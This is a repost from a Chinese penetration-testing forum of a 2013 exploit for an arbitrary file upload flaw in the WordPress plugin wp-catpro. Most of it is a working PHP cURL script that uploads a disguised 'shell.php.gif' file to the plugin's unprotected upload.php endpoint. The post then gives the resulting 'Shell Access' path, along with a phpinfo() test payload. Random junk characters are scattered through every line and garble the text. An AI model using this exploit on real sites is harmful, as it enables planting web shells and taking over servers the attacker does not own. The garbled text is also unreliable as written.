中国网络渗透测试联盟

标题: WordPress插件wp-catpro任意文件上传 [打印本页]

作者: admin    时间: 2013-2-27 20:12
标题: WordPress插件wp-catpro任意文件上传
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability. n" X6 D7 [5 R, e
#-----------------------------------------------------------------------8 s) G  X; o9 z6 P6 S6 J, `8 J1 a
9 r4 D+ c+ v/ x: {& E8 R  N, u
作者  => Zikou-16
6 M% T/ _$ Q: H8 V( E邮箱 => zikou16x@gmail.com
8 ]8 ~4 r: V1 u2 ~1 V  A# G; t测试系统 : Windows 7 , Backtrack 5r3- E: A  l- M9 B* \0 f
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip! k) i$ f) r4 v; L! `4 c
####
- }# R; T) G3 t: Z; U# u  q1 J
0 d  x( }* ?, _4 P8 c" v+ z#=> Exploit 信息:. }/ M: d* k. U  g+ T" ?
------------------
6 F* ^) i; }8 o/ p# 攻击者可以上传 file/shell.php.gif. Z/ f% }) C5 \+ r8 n
# ("jpg", "gif", "png")  // Allowed file extensions
) b( N* q- K8 u$ `0 V# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
) W: \: g" ^2 j+ I9 b0 X2 \# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)% W2 X6 T$ R8 Y; S5 Q- t
------------------
: A3 g5 p% D" c5 k1 P- M, f: r6 U
3 \, O3 Q, ^! i3 V. |% E8 C1 R#=> Exploit
! f/ ]5 q& T% d4 p5 h0 Q-----------
+ G' |) @1 P) Q. f" p5 Y<?php( T  u4 v; q! K: ^& _( g( ?8 n& q: T

% Z8 `4 S9 Y) b7 h$uploadfile="zik.php.gif";% s* F0 r- R6 N0 l, L
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
% V1 F0 q+ g% N0 G4 h2 Ncurl_setopt($ch, CURLOPT_POST, true);
: v5 a; a- E$ J3 U/ n" q- S8 ^curl_setopt($ch, CURLOPT_POSTFIELDS,
6 S0 D; q0 a% f  carray('Filedata'=>"@$uploadfile",
& ^* }# q& R* ^) F0 r'folder'=>'/wp-content/uploads/catpro/'));1 D5 \) x5 ~) }$ n; ]
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);+ d7 i  a7 \$ }; `
$postResult = curl_exec($ch);
2 k( k7 B/ [! B1 }3 R) X" d* gcurl_close($ch);
2 _* C! C( W4 E! E5 p2 @4 R; g & w% ^" J+ Z5 ]% Y2 i
print "$postResult";
: e7 O% C$ K  b, Y# N5 U 5 B0 g. J8 \: I+ O) P+ u
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
& m# j2 A& u  s  ?>
3 U% v- P/ M; O, x<?php: ?; Z9 |  \* h0 d$ b( _
phpinfo();
% C& B( w. ~8 k?>




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2